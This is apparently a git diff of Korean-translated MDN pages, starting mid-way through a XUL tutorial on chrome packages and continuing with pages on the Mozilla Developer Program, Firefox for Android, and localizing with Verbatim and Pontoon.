이러한 차이는 중요합니다. 이것은 사용자의 북마크를 읽는 것과 같이 웹 페이지상의 컨텐츠가 할 수 없는 것이 있다는 것을 의미합니다. 이러한 차이점은 출력되는 컨텐츠의 종류에 따른 것은 아니고 단지 사용된 URL의 종류에 따른 것입니다. 웹 사이트에 위치한 HTML과 XUL은 모두 특별한 퍼미션이 없지만, chrome URL을 통해 로드되면 강화된 퍼미션을 가지게 됩니다.

+ +

만일 여러분이 웹사이트에서 XUL을 사용한다면, HTML 파일들을 웹 사이트에 올리것처럼 XUL 파일을 올리고 브라우저 http://localhost/xul.php에서 URL을 로드합니다. 여러분의 웹 서버가 XUL 파일을 application/vnd.mozilla.xul+xml의 컨텐츠 타입(PHP에서는 header('content-type:application/vnd.mozilla.xul+xml');)으로 보낼 수 있도록 설정되어 있는지 확인하세요. 이 컨텐츠 타입은 Mozilla가 HTML과 XUL을 구분하는데 사용됩니다. Mozilla는 파일 시스템을 통해 파일을 읽은 것이 아니면 파일 확장자를 사용하는 것은 아니지만, 모든 XUL 파일들에 대해 .xul 확장자를 사용하는 것이 좋습니다. 여러분은 여러분의 컴퓨터의 브라우저에서 열거나 파일 매니저에서 더블 클릭하여 XUL 파일을 로드할 수 있습니다.

+ +
원격 XUL은 기능상의 중대한 제약 조건을 가지는 것을 기억하세요.
+ +

문서 유형: HTML XML XUL CSS

+ +

Mozilla는 문서 유형들 간의 대부분의 기능들은 공유하지만 HTML과 XUL에 대해 완전히 다른 종류의 문서 객체(DOM)를 사용합니다. Mozilla에는 HTML, XML, XUL의 세 가지 종류의 주요 문서 유형이 존재합니다. 본질적으로 HTML 문서는 HTML 문서에 사용되고 XUL 문서는 XUL 문서에 XML 문서는 다른 종류의 XML 문서에 사용됩니다. XUL 역시 XML이기 때문에 XUL 문서는 좀 더 일반적인 XML 문서의 서브 타입입니다. 기능상의 사소한 차이점이 존재합니다. 예를 들어 HTML 페이지에서의 폼 컨트롤은 document.forms 속성을 통해 접근할 수 있는 반면, XUL은 HTML에서의 폼이 없기 때문에 이러한 속성은 XUL 문서에서는 사용할 수 없습니다. 비슷하게 overlayer나 template과 같은 XUL 고유 기능은 XUL문서에서만 가능합니다.

+ +

이러한 문서간의 차이는 중요합니다. 문서 타입에 특정하지 않은 많은 XUL의 기능을 HTML이나 XML 문서에서도 사용할 수 있습니다. 그러나 다른 기능들은 올바른 유형의 문서를 필요로 합니다. 예를 들어 여러분은 XUL layout 타입은 XUL 문서 타입에 의존하지 않기 때문에 다른 문서에서도 사용할 수 있습니다.

+ +

위에서 언급한 점을 요약하면 다음과 같습니다.

+ + + + + + + + + +

다음 섹션에서는 Mozilla에 설치될 수 있는 chrome 꾸러미의 기본 구조에 대해 설명합니다. 그러나 여러분이 지금 당장 간단한 응용 프로그램을 작성하고 싶다면, Creating a Window로 건너뛰고 다음을 위해 본 섹션은 저장하세요.

+ +

Package Organization

+ +

Mozilla is organized in such a way that you can have as many components as you want pre-installed. Each extension is also a component with a separate chrome URL. It also has one component for each installed theme and locale. Each of these components, or packages, is made up of a set of files that describe the user interface for it. For example, the messenger component has descriptions of the mail messages list window, the composition window and the address book dialogs.

+ +

The packages that are provided with Mozilla are located within the chrome directory, which are in the directory where you installed Mozilla. The chrome directory is where you find all the files that describe the user interface used by the Mozilla browser, mail client, and other applications. Typically, you put all the XUL files for an application in this directory, although extensions are installed in the extensions directory for a particular user. Just copying a XUL file into the chrome directory doesn't give the file any extra permissions, nor can it be accessed via a chrome URL. To gain the extra privileges, you will need to create a manifest file and put that in the chrome directory. This file is easy to create, as it is typically only a couple of lines long. It is used to map a chrome URL to a file or directory path on the disk where the XUL files are located. Details of how to create this file will be discussed in a later section.

+ +

The only way to create content that can be accessed through a chrome URL is by creating a package as described in the next few sections. This directory is called 'chrome' likely because it seemed like a convenient name to use for the directory where the chrome packages that are included with Mozilla are kept.

+ +

To further the confusion, there are two other places where the word "chrome" might appear. These are the -chrome command line argument and the chrome modifier to the window.open() function. Neither of these features grant extra privileges; instead they are used to open a new top-level window without the browser UI such as the menu and toolbar. You will commonly use this feature in more complex XUL applications since you wouldn't want the browser UI to exist around your dialog boxes.

+ +

The files for a package are usually combined into a single JAR file. A JAR file may created and examined using a ZIP utility. For instance, you can open the JAR files in Mozilla's chrome directory to see the basic structure of a package. Although it's normal to combine the files into a JAR file, packages may also be accessed in expanded form into a directory. Although you don't normally distribute a package this way, it is handy during development since you can edit the file directly and then reload the XUL file without having to repackage or reinstall the files.

+ +

By default, Mozilla applications parse XUL files and scripts, and store a pre-compiled version in memory for the remainder of the application session. This improves performance. However, because of this, the XUL will be not be reloaded even when the source files are changed. To disable this mechanism, it is necessary to change the preference nglayout.debug.disable_xul_cache. In Firefox, this preference may be added to the user preferences by typing "about:config" in the address field, and setting this value to true. Or, just manually edit your user.js preferences file and add the following line:

+ +
pref("nglayout.debug.disable_xul_cache", true);
+
+ +

There are usually three different parts to a chrome package, although they are all optional. Each part is stored in a different directory. These three sets are the content, the skin, and the locale, which are all described below. A particular package might provide one or more skins and locales, but a user can replace them with their own. In addition, the package might include several different applications, each accessible via different chrome URLs. The packaging system is flexible enough so that you can include whatever parts you need and allow other parts, such as the text for different languages, to be downloaded separately.

+ +

The three types of chrome packages are:

+ + + +

Content Packages

+ +

The name of the JAR file might describe what it contains, but you can't be sure unless you view its contents. Let's use the browser package included with Firefox as an example. If you extract the files in browser.jar, you will find that it contains a directory structure much like the following:

+ +
content
+   browser
+      browser.xul
+      browser.js
+      -- other browser XUL and JS files goes here --
+      bookmarks
+         -- bookmarks files go here --
+      preferences
+         -- preferences files go here --
+.
+.
+.
+
+ +

This is easily recognizable as a content package, as the top-level directory is called content. For skins, this directory will usually be called skin and for locales, it will usually be called locale. This naming scheme isn't necessary, but this is a common convention to make the parts of a package clearer. Some packages may include a content section, a skin, and a locale. In this case, you will find a subdirectory for each type. For example, Chatzilla is distributed in this way.

+ +

The content/browser directory contains a number of files with .xul and .js extensions. The XUL files are the ones with the .xul extension. The files with .js extensions are JavaScript files containing scripts that handle the functionality of a window. Many XUL files have a script file associated with them, and some may have more than one.

+ +

In the listing above, two files have been shown. There are of course others, but for simplicity they aren't shown. The file browser.xul is the XUL file that describes the main browser window. The main window for a content package should have the same name as the package with a .xul extension. In this case, the package name is "browser" so we expect to find browser.xul. Some of the other XUL files describe separate windows. For example, the file pageInfo.xul describes the page info dialog.

+ +

Many packages will include a contents.rdf file, which describes the package, its author, and the overlays it uses. However, this file is obsolete and has been replaced with a simpler mechanism. This newer method is the manifest file mentioned earlier, and you will find these as files with the .manifest extension in the chrome directory. For instance, browser.manifest describes the browser package.

+ +

Several subdirectories, such as bookmarks and preferences, describe additional sections of the browser component. They are placed in different directories only to keep the files more organized.

+ +

Skins or Themes

+ +

Although the underlying code for Mozilla calls them skins and the user interface calls them themes, they're both referring to the same thing. The classic.jar file describes the default theme provided with Firefox. The structure is similar to the content packages. For example, examining classic.jar:

+ +
skin
+   classic
+      browser
+         browser.css
+         -- other browser skin files go here --
+      global
+         -- global skin files go here --
+.
+.
+.
+
+ +

Again, this directory structure isn't necessary and is used for convenience. You can actually put all the files in one directory at the top level and not use subdirectories. However, for larger applications, subdirectories are used to separate the different components. In the example above, a directory exists for theme related files for the browser and another for global theme related files. The global directory contains skin files that are general to all packages. These files will apply to all components and will be included with your own standalone applications. The global part defines the appearance of all of the common XUL widgets, whereas the other directories have files that are specific to those applications. Firefox includes both the global and browser theme files in one archive, but they can be included separately.

+ +

A skin is made up of CSS files and a number of images used to define the look of an interface. The file browser.css is used by browser.xul and contains styles that define the appearance of various parts of the browser interface. Again, note how the file browser.css has the same name as the package. By changing the CSS files, you can adjust the appearance of a window without changing its function. This is how you can create a new theme. The XUL part remains the same but the skin part changes independently.

+ +

Locales

+ +

The file en-US.jar describes the language information for each component, in this case for US English. Like the skins, each language file contains files that specify text used by the package for a specific language. The locale structure is similar to the others, so it won't be listed here.

+ +

The localized text is stored in two types of files: DTD files and properties files. The DTD files have a .dtd extension and contain entity declarations, one for each text string that is used in a window. For example, the file browser.dtd contains entity declarations for each menu command. In addition, keyboard shortcuts for each command are also defined, because they may be different for each language. DTD files are used by XUL files so, in general, you will have one per XUL file. The locale part also contains properties files, which are similar, but are used by script files. The file browser.properties contains a few such localized strings.

+ +

This structure allows you to translate Mozilla or a component into a different language by just adding a new locale for that language. You don't have to change the XUL code at all. In addition, another person could supply a separate package that applies a skin or locale to your content part, thus providing support for a new theme or language without having to change the original package.

+ +

Other Packages

+ +

There is a one special package called toolkit (or global). We saw the global directory earlier for skins. The file toolkit.jar contains the corresponding content part for it. It contains some global dialogs and definitions. It also defines the default appearance and functionality of the various common XUL widgets such as textboxes and buttons. The files located in the global part of a skin package contain the default look for all of the XUL interface elements. The toolkit package is used by all XUL applications.

+ +

Adding a Package

+ +

Mozilla places the packages that are included with the installation in the chrome directory. However, they do not need to be placed there. When installing another package, you can place it anywhere on the disk, as long as a manifest file points to it. It is common to place packages into the chrome directory simply because it is convenient; however, they will work just as well from another directory or somewhere on your local network. You cannot store them on a remote site, unless the remote site is mounted through the local file system.

+ +

There are two chrome directories used for XUL applications: one is installed in the same place where the application is installed, while the other is part of user's profile. The former allows packages that are shared by all users while the latter allows packages to be created only for a specific user or users. Extensions, while installed in a separate extensions directory, are also usually user specific. Any manifest files located in either chrome directory will be examined to see which packages are installed.

+ +

In the next section, we'll look at how to refer to chrome packages using the chrome URL.

+ +

+

« 이전다음 »

+
Interwiki Language Links

+ +

diff --git "a/files/ko/mozilla/\352\260\234\353\260\234\354\236\220_\355\224\204\353\241\234\352\267\270\353\236\250/index.html" "b/files/ko/mozilla/\352\260\234\353\260\234\354\236\220_\355\224\204\353\241\234\352\267\270\353\236\250/index.html" new file mode 100644 index 0000000000..0282bfa7e2 --- /dev/null +++ "b/files/ko/mozilla/\352\260\234\353\260\234\354\236\220_\355\224\204\353\241\234\352\267\270\353\236\250/index.html" @@ -0,0 +1,124 @@ +--- +title: Mozilla 개발자 프로그램 +slug: Mozilla/개발자_프로그램 +translation_of: Mozilla/Connect +--- +
+
Enable, inspire and collaborate to make the Web the primary platform used to create experiences across all connected devices.
+
+ +
+
+
+ +
+ +
+ +
+ +
+ +
+
+ +
+

Connect with Mozilla

+ +

Developers are creating the future by building services and apps for people all over the world. The goal of Mozilla Developer Relations is to help developers to use open and standardized web technologies to succeed in achieving their goals. In addition to the documentation here on MDN, we offer help and other resources towards this goal, through various channels. We invite you to connect, learn, and share your own knowledge.

+ +

We are offering help through Q&A on Stack Overflow, to solve specific technical issues and challenges you might have. We also have a newsletter keeping you informed on the latest happenings in the web scene around web apps and more. Subscribe to the Apps & Hacks newsletter.

+ +

If you share Mozilla's mission and principles, and want to help spread them to more developers, check out the ways you can get involved with technical evangelism, and join our evangelism discussion group.

+ +

We have a lot of plans and ideas for iteratively expanding our Developer Relations offerings, and we want you involved as we do so! So, follow the tags on Stack Overflow, subscribe to the Hacks blog, subscribe to the newsletter, and sign up for an account!

+ +

Join Mozilla

+ +

If you want to go beyond connecting with Mozilla, you can join Mozilla and help realize Mozilla's mission of building a better Internet. As a developer, you have skills to contribute in many areas, as well as the opportunity to enhance your skills. Mozilla is an open source project, so we "default to open." You can "view source" and contribute to our software development projects, like the Firefox browser for desktop and Android, Firefox OS, and Mozilla's own websites. You can become part of an international community and get recognition for your efforts. Here are some of the advantages of contributing to the Mozilla project.

+ +

Opportunity to learn something new

+ +
+

In writing code for an open source project, you may face problems you have not encountered before, which present learning opportunities for you. You can try out new tools and techniques in an open source project. For example, if you've never done any unit testing, and cannot get permission from your boss to do so in your regular job, writing some code for an open source project would be an excellent place to try it out. Contributing to open source gives you the opportunity to collaborate with and get to know many people around the world who have similar interests. Moreover, an open source organization like Mozilla has many contributors who can help you in solving problems you encounter. If you're just getting started contributing, you can look for "mentored" bugs, where an experienced contributor has offered to help a newcomer fix them.

+ +

What can I get by contributing ?

+ +

Exploring many things and getting recognition in the community -- these are the intangible benefits of contributing to Mozilla. While we can't guarantee specific tangible benefits, many valued contributors receive free Mozilla gear and invitations to Mozilla-related events, and are first in line to be considered for internships. Moreover, your experience in contributing to an open source project might help you find a job. More and more employers of developers are looking at open source contributions. They like to see that you're blogging and contributing to mailing lists, and they really like to see you listed as a committer on an open source project. It can also help with the work experience section of your resume.

+ +

How can I contribute to Mozilla ?

+ +

Mozilla에 기여할 수 있는 많은 프로젝트 영역이 있습니다. You can find a current, complete list on the main Mozilla 참여 page. Some areas that may interest you as a developer include:

+ + +
+
+ +
+
+

Q&A on Stack Overflow See all Q&A...

+ +

We have Q&A to discuss challenges and issues when developing, in particular for Firefox OS and the Open Web on mobile. It's available on Stack Overflow under the easy URL http://stackoverflow.com/r/mozilla.

+ +
Stack form
+ +

Latest Q&A Topics

+
+ +
 
+
+ +

Developers at a Firefox OS workshop in Madrid.

+ +
+
+

Mozilla는 어디에 있나요? View attendees and details on our Events page...

+ +

Here is a listing of events where Mozilla representatives will be speaking. 대화를 꼭 나눠보세요!

+
+ + +
+
diff --git "a/files/ko/mozilla/\354\225\210\353\223\234\353\241\234\354\235\264\353\223\234\354\232\251_\355\214\214\354\235\264\354\226\264\355\217\255\354\212\244/index.html" "b/files/ko/mozilla/\354\225\210\353\223\234\353\241\234\354\235\264\353\223\234\354\232\251_\355\214\214\354\235\264\354\226\264\355\217\255\354\212\244/index.html" new file mode 100644 index 0000000000..131f5749fa --- /dev/null +++ "b/files/ko/mozilla/\354\225\210\353\223\234\353\241\234\354\235\264\353\223\234\354\232\251_\355\214\214\354\235\264\354\226\264\355\217\255\354\212\244/index.html" @@ -0,0 +1,47 @@ +--- +title: Firefox for Android +slug: Mozilla/안드로이드용_파이어폭스 +translation_of: Mozilla/Firefox_for_Android +--- +

점점 더 많은 사람들에게 있어서 모바일 기기가 웹에 접속하는 주요한, 더 나아가서 유일한 방법이 되고 있습니다. 안드로이드용 Firefox(코드네임 Fennec)는 개방적이고, 수정이 자유롭고, 표준에 기반한 데스크탑 Firefox와 비슷한 브라우저입니다.

+

안드로이드용 Firefox는 XUL 대신 기본 안드로이드 위젯에서 만들어진 UI를 사용합니다. 이를 통해 처음 구동 시간과 같은 성능을 향상시키고 메모리 절감 효과를 얻었습니다.

+

 

+

안드로이드용 Firefox에 기여하기

+

안드로이드용 Firefox에 대한 정보를 얻을 수 있는 가장 좋은 시작점은 프로젝트 위키 페이지입니다.

+

다음과 같은 활동을 통해서 안드로이드용 Firefox를 만들고 개선하는데 도움을 줄 수 있습니다:

+ +

모바일 웹 개발

+

모바일 기기를 위한 웹사이트 디자인에 가이드 문서를 올리고 있습니다.

+

안드로이드용 Firefox를 사용하면 기기의 다양한 기능을 사용할 수 있는 API를 사용할 수 있습니다. 이를 통해 웹과 네이티브 어플리케이션 사이의 차이를 줄일 수 있습니다:

+ +

안드로이드용 Firfox를 안드로이드 기기에 설치하거나 안드로이드 에뮬레이터를 사용해서 데스크탑에서 실행해 봄으로써 사이트를 테스트해 볼 수 있습니다.

+

모바일 부가기능 제작

+

안드로이드용 Firefox는 다른 게코 기반의 어플리케이션과 동일한 확장 시스템을 통해서 부가 기능을 지원합니다. 새로운 확장 시스템을 만들지 않았습니다. 이 말은 데스크탑용 부가 기능을 만들던 것과 동일한 과정을 통해서 안드로이드용 Firefox의 부가기능을 만들 수 있다는 말입니다. 하지만 데스크탑용 Firefox 부가 기능이 자동으로 작동하지는 않습니다. 사용자 인터페이스가 너무 다르기 때문입니다.

+
+ 안드로이드용 Firefox에는 install.rdf에 지정되어야 하는 독자적인 어플리케이션 인식자가 있습니다. 인식자는 {aa3c5121-dab2-40e2-81ca-7ea25febc110}입니다.
+

기존의 재시작 해야만 하는 부가기능과 재시작이 필요없는 부가기능은 동일한 접근방법을 가지고 있습니다. 부가기능을 설치하거나 삭제할 때 재시작을 해야만 하는 방식은 사용자 경험에 많은 영향을 미치기 때문에 가능하다면 재시작이 필요없는 방식이 선호됩니다.

+

기본 개요

+ +

안드로이드용 Firefox 도움말

+

안드로이드용 Firefox를 사용하기 위한 문서와 도움말이 Mozilla Support website를 통해서 제공되고 있습니다.

diff --git "a/files/ko/mozilla/\354\247\200\354\227\255\355\231\224/index.html" "b/files/ko/mozilla/\354\247\200\354\227\255\355\231\224/index.html" new file mode 100644 index 0000000000..fda2a6a834 --- /dev/null +++ "b/files/ko/mozilla/\354\247\200\354\227\255\355\231\224/index.html" @@ -0,0 +1,26 @@ +--- +title: Mozilla 지역화 +slug: Mozilla/지역화 +tags: + - l10n + - 모질라 + - 번역 + - 지역화 +translation_of: Mozilla/Localization +--- +

지역화(L10n) 는 소프트웨어 사용자 인터페이스를 한 언어에서 다른 언어로 번역하고 다른 문화에 적합하도록 맞추는 과정입니다. 이러한 자원들은 지역화에 포함된 기술적 측면에 관심있는 모두를 위한것입니다. 모든 기여자들과 개발자들을 위한 것입니다.

+ +

참고

+ +
+
Localizing MDN
+
이 자원은 여기 MDN 문서의 지역화를 커버합니다.
+
+ +

App localization(응용프로그램 지역화)

+ +

     이 문서들은 파이어폭스 OS 앱을 포함한, 앱 지역화에 좀 더 특별히 적용됩니다.

+ +

L10n

+ +

     파이어폭스 OS를 지역화하기 위한 L10n API에 대한 참고 문서

diff --git "a/files/ko/mozilla/\354\247\200\354\227\255\355\231\224/localizing_with_verbatim/index.html" "b/files/ko/mozilla/\354\247\200\354\227\255\355\231\224/localizing_with_verbatim/index.html" new file mode 100644 index 0000000000..6f01ebb051 --- /dev/null +++ "b/files/ko/mozilla/\354\247\200\354\227\255\355\231\224/localizing_with_verbatim/index.html" @@ -0,0 +1,125 @@ +--- +title: Verbatim을 이용해 지역화하기 +slug: Mozilla/지역화/Localizing_with_Verbatim +translation_of: Mozilla/Localization/Localizing_with_Pontoon +--- +

Verbatim은 모질라 웹 컨텐츠들을 지역하기 위한 웹 기반의 툴(정확힌 모질라에서 호스트된 Pootle 인스턴스)입니다 . 여러분은 모든 언어를 지원할수 있는 이 툴을 이용해 여러가지 모질라 프로젝트들을 지역화할수 있습니다. 이 가이드는 여러분을 보통의 모질라 웹 프로젝트를 지역화 하는 방법을 소개할 것입니다.이 튜토리얼은 여러분에게 Verbatim을 이용해 여러분이 지역화 커뮤니티에 공헌하기 위해 모질라 프로젝트를 지역화 하는 데에 단단한 기반을 제공해 줄 것입니다. 우리는 어떤 모질라 웹 프로젝트들이 Verbatim을 이용하고 있는 지, Verbatim을 어떻게 사용하기 시작할지,  그리고 Verbatim을 이용해서 보통 이루어진 일들에 대해서 다룰 것입니다.

+

Verbatim을 사용하기 시작하기

+

Verbatim이 온라인에 기반되어 있으므로, 번역자들은 Verbatim을 이용하기 위해서 무조건 인터넷에 연결되어 있어야 합니다. There are essentially two ways to get started with Verbatim: start a new localization or join an existing localization community's efforts. Either way, you will need to follow these steps to start working on a Verbatim project.

+ + + + + + + + + + + + + + + + + + + + + +
Verbatim에서 새로운 지역화를 시작하기Verbatim에서 진행중인 지역화에 참여하기
+
    +
  1. Point your browser to http://localize.mozilla.org. This is where Verbatim is hosted.
  2. +
+
+
    +
  1. Point your browser to http://localize.mozilla.org. This is where Verbatim is hosted.
  2. +
+
+
    +
  1. If you have a Mozilla LDAP account, simply sign in using your LDAP credentials. If not, register for an account and sign in once you've completed registration. The links for both are located in the upper right-hand corner of the page.
  2. +
+
+
    +
  1. If you have a Mozilla LDAP account, simply sign in using your LDAP credentials. If not, register for an account and sign in once you've completed registration. The links for both are located in the upper right-hand corner of the page.
  2. +
+
+
    +
  1. File a bug using this prefilled bugzilla template. Add your locale code and language name to the description field, as well as any other information you'd like to share. See the following example.
  2. +
+
+ Example: I would like to request that you add the en-US as a new localization in Verbatim. The langauge is English. Also, I like cookies. Lots and lots of cookies. I can easily be motivated by any and all baked goods.
+
+
    +
  1. Contact the community to find out which projects they need you to concentrate your efforts on. See the following example for what you could include in your email to the community leaders.
  2. +
+
+ Example: I would like to join your localization efforts on Verbatim for this locale. Where would be the best place for me to begin? Also, I would like to buy you a drink to encourage you to let me join the team!
+
+

Now that you're registered and logged in, we'll outline the general translation workflow, using the Firefox Home project as our example.

+

Translating

+

First thing's first, you need to find untranslated source strings to translate.

+
    +
  1. Navigate to the MDN project page.
  2. +
  3. Select your language from the Overview tab.
  4. +
  5. Now click on the the Translate tab. This tab will display the directories for the MDN user interface.
  6. +
  7. Select the LC Messages directory. This is where the project's .po files containing translatable strings are located. You will now see an overview of each .po file.
  8. +
  9. In the summary column, the number of words untranslated will be shown as a link. Click on that link to be taken directly to the first string that needs to be translated.
  10. +
+

Now you're ready to contribute translations and you won't believe how easy it is. Check it out, you can contribute translations in two simple steps:

+
    +
  1. Simply type your translation in the box to below the English string
  2. +
  3. Select Suggest. If you have approval permission, select Submit. You will then be taken to the next string that needs translating.
  4. +
  5. Hooray! You're translating! Repeat steps one and two for the remainder of the untranslated strings.
  6. +
+
+ Note: If you come across a string that already has a suggested translation, you can still suggest your own translation if you feel it is more accurate.
+

Some extra cool features on Verbatim

+

Here are a few additional items about the Verbatim interface that you should be aware of. Some of these can be seen in the screen shot below.

+

Translate Tab.png

+ +

Additional tasks

+

If you are a localizer with approval priviledges, here are a few more tasks that you should be aware of.

+

Review suggested translations

+
    +
  1. Click on the Review tab. It will show how many strings are waiting for review for each .po file.Review Tab1.png
  2. +
  3. Select Review suggestions to start approving suggestions. It will take you to the first string that needs to be reviewed.
  4. +
  5. You can accept the suggestion by clicking the green checkmark or reject the suggestion by clicking the red X (see the screen shot from the previous section).
  6. +
+

It is important to note that only submitted strings will appear in your localized pages. Neither suggestions nor fuzzy strings will appear. Before commiting your final localized product, make sure all strings have been submitted.

+

Using VCS on Verbatim

+

VCS (Version Control System) is the repository system we use to update the project's strings as well as push your translated content onto the web. The difference between the two tasks is simply a matter of which link to click.

+

VCS.pngTo push your strings onto the web and see your changes, simply select the Commit to VCS link underneath each file name. It usually takes about an hour before you can see your changes on the project site.

+

To update your .po files with new untranslated strings, simple select the Update from VCS link underneath each file name.

+

 

+
+
+ Note: Some projects are automatically updated nightly while others require you to manually update them to receive new source content. Be sure to pay close attention to this, as it can alter your workflow.
+

Translating Verbatim files with an external application

+

While in the Translate tab, you have the option to export the .po and .xliff files and translate the strings with an external application (i.e., a text editor or translation memory tool).

+
    +
  1. To download the .po file, select the Download link found underneath each file name. To download the .xliff file, select the Download XLIFF link.
  2. +
  3. Proceed to translate the strings using your selected tool.
  4. +
+

Once you've finished your translations, you'll need to upload your file to Verbatim. You can do this from the Translate tab.

+
    +
  1. Navigate to the bottom of the files list to the Upload File section.
  2. +
  3. Click on the Browse button and select the file you wish to upload.
  4. +
  5. Select an upload setting from the options provided.
  6. +
  7. Once your upload setting has been selected, click Upload.
  8. +
+
+

Important: There have been some problems in the past with community members updating their source strings while others are in the process of localizing the previous updated files. This can cause community members to overlook new source strings, producing untranslated strings in a localized project. Be sure to coordinate these manual updates within your community to avoid this problem.

+
+

You're ready to go!

+

Whew! You've arrived at the end! Time to take what you've learned and put it to good use spreading Mozilla to everyone in your region. Have fun and let us know if you run into any difficulties. We'll be happy to help in any way we can.

+

 

+

Back: Quick Start Guide

diff --git "a/files/ko/mozilla/\354\247\200\354\227\255\355\231\224/pontoon_\354\247\200\354\227\255\355\231\224/index.html" "b/files/ko/mozilla/\354\247\200\354\227\255\355\231\224/pontoon_\354\247\200\354\227\255\355\231\224/index.html" new file mode 100644 index 0000000000..8d5664ca83 --- /dev/null +++ "b/files/ko/mozilla/\354\247\200\354\227\255\355\231\224/pontoon_\354\247\200\354\227\255\355\231\224/index.html" @@ -0,0 +1,135 @@ +--- +title: Pontoon 지역화 하기 +slug: Mozilla/지역화/Pontoon_지역화 +translation_of: Mozilla/Localization/Localizing_with_Pontoon +--- +

Pontoon 은 보시면 알만한 (WYSIWYG) 웹 기반 지역화 (l10n) 도구 입니다. Mozilla 에서, 우리는 Firefox 부터 Mozilla.org 까지 모든 Mozilla 제품과 웹사이트들을 지역화하는데 Pontoon 을 사용합니다. Pontoon 은 지역화 작업흐름에서 기술적인 능력이 거의 없이도 사용할 수 있는 아주 간단하고 교육적인 도구입니다. 여기서 우리는 로그인 하는 것 부터 여러분의 공헌을 마무리하는 것 까지 Pontoon 을 사용해 프로젝트를 지역화하는 방법에 대해 이야기 할 것입니다. 그 과정 중에, 여러분이 지역화 공헌을 더 쉽게 그리고 더 효과적으로 할 수 있게 해주는 몇 가지 매력적인 특징들을 짚어볼 것입니다.

+ +
+

개발자이십니까? implementing Pontoon in your project 를 읽어 보시거나 GitHub 에서 참여하는 방법에 대해 배워보세요.

+
+ +

첫 단계

+ +

Pontoon 홈페이지는 아주 사용하기 쉽습니다. 프로젝트 지역화를 시작하기 위해, Persona 아이콘을 클릭하여 로그인 하세요. 다음으로, 여러분이 작업하고 싶은 프로젝트와 여러분의 언어를 드롭다운 메뉴에서 선택하세요. Pontoon 은 여러분이 지역화를 시작할 수 있도록 선택한 언어를 자동으로 열어줍니다. 참고하세요, 여기서 우리의 목적은 Firefox Affiliates 웹사이트를 사용해 Pontoon 의 기능과 작업흐름을 데모해 보는겁니다. 이것이 Photoon 에서 그것을 열었을 때 입니다:

+ +

Browser app and workspace

+ +

메인 툴바

+ +

보시다시피 인터페이스의 대부분은 번역되는 웹사이트에 달려있습니다. 단지 다음 항목들(왼쪽에서 오른쪽으로)을 포함하는 상단의 툴바가 Pontoon 에 속해있습니다:

+ +

Main toolbar

+ +

문자열의 리스트

+ +

지역화를 위한 리스트를 가진 사이드바를 엽니다.

+ +

프로젝트 셀렉터 (제휴된것)

+ +

지역화를 위한 프로젝트를 변경합니다.

+ +

리소스 셀렉터 (홈페이지)

+ +

부속 페이지나 지역화 파일들같은 지역화를 위한 프로젝트 자원들을 변경합니다. 프로젝트를 위한 가용 자원이 없다면 숨깁니다.

+ +

+ +
+
+ +

언어 셀렉터 (Slovenian)

+ +

지역화를 위한 언어를 변경합니다.

+ +

Go

+ +

프로젝트-자원-언어 선택을 엽니다.

+ +

진행상황 표시기

+ +

지역화중인 자원에 대한 여러분의 진행상황을 나타냅니다. 팝업에서 세부사항을 볼 수 있습니다.

+ +
+
+ +

사용자 메뉴

+ +

저장소에 커밋하거나 파일을 다운받고 로그아웃하기 같은 여러분만의 작업을 할 수 있도록 해줍니다.

+ +

정보 메뉴

+ +

키보드 단축기 목록과 기대하는 프로젝트 타임라인같은 중요한 정보를 줍니다.

+ +
+
+ +

좋습니다, 이제 번역 좀 해볼까요?

+ +
+
+ +

번역하기

+ +

지역화를 위해 Pontoon 을 사용할 때 몇 가지 번역을 위한 옵션이 있습니다. 컨텍스트에서 번역하거나, 컨텍스트 밖에서 하거나, 둘의 조합에서 할 수 있습니다. 컨텍스트 단위 번역을 살펴봅시다.

+ +

컨텍스트에서

+ +

Pontoon's in-context translation mode is what puts it above others. 웹 페이지(또는 웹 앱)를 열고 페이지의 실시간 편집을 활성화합니다. 여기 여러분이 번역할 첫번째 문자열이 있습니다:

+ +

In-context localization

+ +
    +
  1. 마우스를 번역할 문자위에 올려놓으세요.
  2. +
  3. 문자위에 수정 버튼이 나타납니다. 클릭하여 번역 모드를 활성화하세요.
  4. +
  5. 원본 문자를 여러분의 언어로 번역한 문자로 바꾸세요.
  6. +
  7. 저장 버튼을 눌러 번역을 저장하세요.
  8. +
+ +
+

컨텍스트 밖에서

+ +

어떤 문자열은 컨텍스트 안에서 번역하는 것이 불가능합니다. 예를들면, 웹사이트의 <title> 태그 안의 내용과 유동적이거나 다양한 복수형 문자열이 있습니다. 메인 툴바의 햄버거 아이콘을 클릭하는 것으로 사이드바에 모든 번역가능한 문자열의 목록을 열 수 있습니다. 또한 컨텍스트 밖 지역화를 위해 사이드바를 사용할 수도 있습니다:

+ +

Out-of-context localization: list Out-of-context localization: translate

+ +
    +
  1. 번역할 문자열을 클릭하세요.
  2. +
  3. 원본 문자열과 세부 사항(코멘트들)을 포함하는 번역 패널을 여세요.
  4. +
  5. 아래 번역 공간에서 문자열을 번역하세요.
  6. +
  7. 저장 버튼을 클릭해 번역을 저장하세요.
  8. +
+ +

만약 해당 문자열이 컨텍스트 안에서도 번역 가능한 것이라면 컨텍스트 밖에서 문자열을 번역한 것 처럼 웹사이트에 번역한 내용이 나타날 것입니다. 

+ +

번역 도우미

+
+ +

보시다시피 번역 영역 바깥에 있는 히스토리, 번역 기록, 기계 번역 그리고 다른 로케일로부터 제안을 받으실 수 있습니다. 여러분이 문장을 번역하실 때 각 도우미들은 다음과 같이 도움을 드릴 것입니다:

+ +

Translation helpers: History Translation helpers: Machinery Translation helpers: Other locales Translation helpers: Search

+ +

History

+ +

이전에 다른 사용자들이 사용했던 제안 번역을 표시합니다.

+ +

Machinery

+ +

여러 서비스에서 사용된 예를 표시합니다: 내부적으로 저장된 번역 기록, Mozilla Transvision, open source translation memory, Microsoft terminology 그리고 machine translation.

+ +

Other locales

+ +

다른 로케일에서 사용한 번역을 표시합니다.

+ + + +

Almost like machinery, but takes provided keyword as input parameter instead of the original string.

+ +

추천단어를 클릭하면, 번역 영역으로 내용이 복사됩니다.

+ +
+
+ +

게시하기

+ +

이제 여러분은 repo 에 커밋하는 것으로 지역화 작업을 게시하실 것입니다. Pontoon 으로도 가능합니다! 실제로, Pontoon 은 시간 단위로 저장소와 자동으로 동기화됩니다. 이제 이 작업을 기념하기 위해 스스로 격려하거나, 가벼운 춤을 추거나, 잠을 자거나 또는 다른 것을 해도 좋습니다!

